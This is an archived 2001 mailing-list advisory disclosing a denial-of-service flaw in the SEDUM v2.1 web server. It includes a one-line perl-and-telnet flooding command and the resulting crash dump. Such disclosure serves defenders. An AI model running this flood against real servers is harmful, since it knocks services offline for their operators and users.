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SEDUM v2.1 HTTPd - Denial of Service
From: slipy () B10Z NET
Date: Fri, 23 Feb 2001 19:28:18 -0000
Introduction: SEDUM is a standard HTTP server designed for Internet/Intranet purposes. SEDUM support parametric html files and direct access to databases for a simple and powerful network data management. This software is for the MS operating system. The Vendors website is: http://www.frassetto.it/sdm/e_index.htm Problem: Denial of Service Attack SEDUM v2.1 is vulnerable to a nasty Denial of Service attack where it can be flooded with useless junk until the server crashes promptly. Once it has been crashed it needs to be restarted again for it to work properly. All windows versions apear to be affected. Examples: echo `perl -e 'print "A" x 250000'` | telnet .com 80 ^^ = Will cause the program to quit within seconds and display: EDUM caused an invalid page fault in module <unknown> at 0000:0111001e. Registers: EAX=0122968c CS=016f EIP=0111001e EFLGS=00010206 EBX=00000000 SS=0177 ESP=006dfab0 EBP=006dfadc ECX=0111027c DS=0177 ESI=0048258c FS=7677 EDX=0111000c ES=0177 EDI=00000000 GS=0000 Bytes at CS:EIP: 00 a0 2c 00 11 01 0c 00 11 01 00 02 00 00 01 00 Stack dump: 0042bbed 00000001 0048258c 0042ba02 00000000 0048258c 004575fd 00000000 005b037c 012291d0 005b03e4 00000001 004576cc 0000008c 000005b4 00457751 Solution: Vendor has been notified, and waiting for reply. Judging from the posts about the directory traversals with SEDUM and the authors response, don't expect a fix anytime soon. -------------------- b10z HTTPd Advisory slipy () b10z net Found: February 23rd, 2001. (PS: sorry if this message looks weird, bugtraq seems to always format my messages all screwy)
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- SEDUM v2.1 HTTPd - Denial of Service slipy (Feb 23)